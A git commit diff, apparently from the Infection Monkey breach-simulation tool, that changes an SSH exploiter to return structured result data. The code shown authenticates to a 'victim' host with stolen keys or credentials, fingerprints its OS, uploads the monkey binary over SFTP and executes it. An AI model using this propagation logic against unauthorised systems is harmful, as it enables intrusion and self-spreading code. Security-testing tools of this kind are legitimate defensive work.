Agent: Modify SSH exploiter to return ExploiterResultData

This commit is contained in:
Ilija Lazoroski 2022-02-22 19:38:33 +01:00
parent 58b1a04bd7
commit 522d0d388d
2 changed files with 75 additions and 20 deletions

View File

@ -6,6 +6,7 @@ from typing import Dict
from common.utils.exceptions import FailedExploitationError from common.utils.exceptions import FailedExploitationError
from common.utils.exploit_enum import ExploitType from common.utils.exploit_enum import ExploitType
from infection_monkey.config import WormConfiguration from infection_monkey.config import WormConfiguration
from infection_monkey.i_puppet import ExploiterResultData
from infection_monkey.telemetry.messengers.i_telemetry_messenger import ITelemetryMessenger from infection_monkey.telemetry.messengers.i_telemetry_messenger import ITelemetryMessenger
logger = logging.getLogger(__name__) logger = logging.getLogger(__name__)
@ -42,6 +43,7 @@ class HostExploiter:
self.host = None self.host = None
self.telemetry_messenger = None self.telemetry_messenger = None
self.options = {} self.options = {}
self.exploit_result = {}
def set_start_time(self): def set_start_time(self):
self.exploit_info["started"] = datetime.now().isoformat() self.exploit_info["started"] = datetime.now().isoformat()
@ -93,6 +95,14 @@ class HostExploiter:
return result return result
def pre_exploit(self): def pre_exploit(self):
self.exploit_result = {
"exploitation_success": False,
"propagation_success": False,
"os": self.host.os.get("type"),
"info": self.exploit_info,
"attempts": self.exploit_attempts,
"error_message": "",
}
self.set_start_time() self.set_start_time()
def post_exploit(self): def post_exploit(self):
@ -115,3 +125,13 @@ class HostExploiter:
""" """
powershell = True if "powershell" in cmd.lower() else False powershell = True if "powershell" in cmd.lower() else False
self.exploit_info["executed_cmds"].append({"cmd": cmd, "powershell": powershell}) self.exploit_info["executed_cmds"].append({"cmd": cmd, "powershell": powershell})
def get_exploit_result_data(self) -> ExploiterResultData:
return ExploiterResultData(
self.exploit_result["exploitation_success"],
self.exploit_result["propagation_success"],
self.exploit_result["os"],
self.exploit_result["info"],
self.exploit_result["attempts"],
self.exploit_result["error_message"],
)

View File

@ -10,6 +10,7 @@ from common.utils.exceptions import FailedExploitationError
from common.utils.exploit_enum import ExploitType from common.utils.exploit_enum import ExploitType
from infection_monkey.exploit.HostExploiter import HostExploiter from infection_monkey.exploit.HostExploiter import HostExploiter
from infection_monkey.exploit.tools.helpers import get_monkey_depth, get_target_monkey from infection_monkey.exploit.tools.helpers import get_monkey_depth, get_target_monkey
from infection_monkey.i_puppet import ExploiterResultData
from infection_monkey.model import MONKEY_ARG from infection_monkey.model import MONKEY_ARG
from infection_monkey.network.tools import check_tcp_port, get_interface_to_target from infection_monkey.network.tools import check_tcp_port, get_interface_to_target
from infection_monkey.telemetry.attack.t1105_telem import T1105Telem from infection_monkey.telemetry.attack.t1105_telem import T1105Telem
@ -100,9 +101,9 @@ class SSHExploiter(HostExploiter):
continue continue
raise FailedExploitationError raise FailedExploitationError
def _exploit_host(self): def _exploit_host(self) -> ExploiterResultData:
port = SSH_PORT port = SSH_PORT
# if ssh banner found on different port, use that port. # if ssh banner found on different port, use that port.
for servkey, servdata in list(self.host.services.items()): for servkey, servdata in list(self.host.services.items()):
if servdata.get("name") == "ssh" and servkey.startswith("tcp-"): if servdata.get("name") == "ssh" and servkey.startswith("tcp-"):
@ -110,17 +111,25 @@ class SSHExploiter(HostExploiter):
is_open, _ = check_tcp_port(self.host.ip_addr, port) is_open, _ = check_tcp_port(self.host.ip_addr, port)
if not is_open: if not is_open:
logger.info("SSH port is closed on %r, skipping", self.host) self.exploit_result["error_message"] = f"SSH port is closed on {self.host}, skipping"
return False
logger.info(self.exploit_result["error_message"])
return self.get_exploit_result_data()
try: try:
ssh = self.exploit_with_ssh_keys(port) ssh = self.exploit_with_ssh_keys(port)
self.exploit_result["exploitation_success"] = True
except FailedExploitationError: except FailedExploitationError:
try: try:
ssh = self.exploit_with_login_creds(port) ssh = self.exploit_with_login_creds(port)
self.exploit_result["exploitation_success"] = True
except FailedExploitationError: except FailedExploitationError:
logger.debug("Exploiter SSHExploiter is giving up...") self.exploit_result["error_message"] = "Exploiter SSHExploiter is giving up..."
return False self.exploit_result["exploitation_success"] = False
self.exploit_result["propagation_success"] = False
logger.debug(self.exploit_result["error_message"])
return self.get_exploit_result_data()
if not self.host.os.get("type"): if not self.host.os.get("type"):
try: try:
@ -128,12 +137,21 @@ class SSHExploiter(HostExploiter):
uname_os = stdout.read().lower().strip().decode() uname_os = stdout.read().lower().strip().decode()
if "linux" in uname_os: if "linux" in uname_os:
self.host.os["type"] = "linux" self.host.os["type"] = "linux"
self.exploit_result["os"] = "linux"
else: else:
logger.info("SSH Skipping unknown os: %s", uname_os) self.exploit_result["error_message"] = f"SSH Skipping unknown os: {uname_os}"
return False
if not uname_os:
logger.error(self.exploit_result["error_message"])
return self.get_exploit_result_data()
except Exception as exc: except Exception as exc:
logger.debug("Error running uname os command on victim %r: (%s)", self.host, exc) self.exploit_result["propagation_success"] = False
return False self.exploit_result[
"error_message"
] = f"Error running uname os command on victim {self.host}: ({exc})"
logger.debug(self.exploit_result["error_message"])
return self.get_exploit_result_data()
if not self.host.os.get("machine"): if not self.host.os.get("machine"):
try: try:
@ -142,15 +160,21 @@ class SSHExploiter(HostExploiter):
if "" != uname_machine: if "" != uname_machine:
self.host.os["machine"] = uname_machine self.host.os["machine"] = uname_machine
except Exception as exc: except Exception as exc:
logger.debug( self.exploit_result[
"Error running uname machine command on victim %r: (%s)", self.host, exc "error_message"
) ] = f"Error running uname machine command on victim {self.host}: ({exc})"
logger.error(self.exploit_result["error_message"])
src_path = get_target_monkey(self.host) src_path = get_target_monkey(self.host)
if not src_path: if not src_path:
logger.info("Can't find suitable monkey executable for host %r", self.host) self.exploit_result["propagation_success"] = False
return False self.exploit_result[
"error_message"
] = f"Can't find suitable monkey executable for host {self.host}"
logger.info(self.exploit_result["error_message"])
return self.get_exploit_result_data()
try: try:
ftp = ssh.open_sftp() ftp = ssh.open_sftp()
@ -174,7 +198,11 @@ class SSHExploiter(HostExploiter):
) )
ftp.close() ftp.close()
except Exception as exc: except Exception as exc:
logger.debug("Error uploading file into victim %r: (%s)", self.host, exc) self.exploit_result["propagation_success"] = False
self.exploit_result[
"error_message"
] = f"Error uploading file into victim {self.host}: ({exc})"
logger.error(self.exploit_result["error_message"])
status = ScanStatus.SCANNED status = ScanStatus.SCANNED
self.telemetry_messenger.send_telemetry( self.telemetry_messenger.send_telemetry(
@ -183,7 +211,7 @@ class SSHExploiter(HostExploiter):
) )
) )
if status == ScanStatus.SCANNED: if status == ScanStatus.SCANNED:
return False return self.get_exploit_result_data()
try: try:
cmdline = "%s %s" % (self.options["dropper_target_path_linux"], MONKEY_ARG) cmdline = "%s %s" % (self.options["dropper_target_path_linux"], MONKEY_ARG)
@ -198,10 +226,17 @@ class SSHExploiter(HostExploiter):
cmdline, cmdline,
) )
self.exploit_result["propagation_success"] = True
ssh.close() ssh.close()
self.add_executed_cmd(cmdline) self.add_executed_cmd(cmdline)
return True return self.get_exploit_result_data()
except Exception as exc: except Exception as exc:
logger.debug("Error running monkey on victim %r: (%s)", self.host, exc) self.exploit_result["propagation_success"] = False
return False self.exploit_result[
"error_message"
] = f"Error running monkey on victim {self.host}: ({exc})"
logger.error(self.exploit_result["error_message"])
return self.get_exploit_result_data()